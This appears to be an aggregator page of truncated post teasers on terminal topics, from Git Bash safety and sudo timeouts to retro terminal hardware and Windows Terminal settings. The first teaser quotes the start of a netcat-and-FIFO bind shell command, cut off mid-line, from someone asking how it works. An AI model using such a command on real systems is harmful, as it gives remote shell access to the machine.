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I am trying to grasp the concept of terminal-emulators, shells and redirections.
I have two commands, both of them start a netcat listener for the bind shell:
1) rm /tmp/fifo; mkfifo /tmp/fifo; cat /tmp/fifo | /bin/bash -i 2>&1 | nc… Continue reading Differences in behavior between two Netcat and FIFO commands for creating a bind shell
Few processors have found themselves in so many different devices as the venerable Z80. While it isn’t powerful by modern standards, you can still use devices like this Cidco MailStation …read more Continue reading Internet Appliance to Portable Terminal
I’ve recently downloaded and installed Git Bash for Windows https://git-scm.com/downloads, my primary goal is to use it for pushing code to GitHub. I already connect Gitbash with Github in browser login, and it worked pretty fine to push a… Continue reading Is Git Bash Safe to Use on Windows?
We may be a bit biased, but the storage media of yesteryear has so much more personality than that of today. Yes, it’s a blessing to have terabyte SD cards …read more Continue reading Homebrew Reader Brings Paper Tape Programs Back to Life
When entering a password into the password field in a Linux terminal- the password is just in the clear!
This is a commonly known fact.
But what if I’m in public, like in an office, and need to enter my password, regardless of the reason,… Continue reading Why are passwords in the Linux terminal unmasked? [closed]
If you use home automation these days, you’re probably used to using smart speakers, your smartphone, or those tabletop touchscreen devices. If you wanted something cooler and more personal, you …read more Continue reading Home Automation Terminal Has Great Post-Apocalyptic Look
I often need to run commands with sudo during development and since my password is lengthy I don’t like to type it every time sudo times out which by default is 5 minutes.
To deal with that I’ve run sudo visudo and have set Defaults timest… Continue reading Security implications of increasing sudo timeout in terminal
This post will show you how to enable or disable the Automatically copy selection to clipboard option in the Windows Terminal. Windows Terminal is a multi-tab terminal emulator by Microsoft specifically for Windows 11/10. It’s the successor the t… Continue reading Disable or Enable Automatically Copy Selection to Clipboard in Terminal
Windows Terminal is the modern command line tool for Windows that usually opens on the top left side of the screen. But, if you want to launch the Terminal in the center of the screen on Windows 11, we have a detailed guide. How to launch Terminal in t… Continue reading How to launch Terminal in the center of the screen on Windows 11
We have noticed that Windows Terminal failed to select the font we selected. Even when we tried downloading the font for the terminal from the Control Panel and deploying it for every user, the Terminal couldn’t find it. In this post, we will see… Continue reading Windows Terminal Unable to find the selected font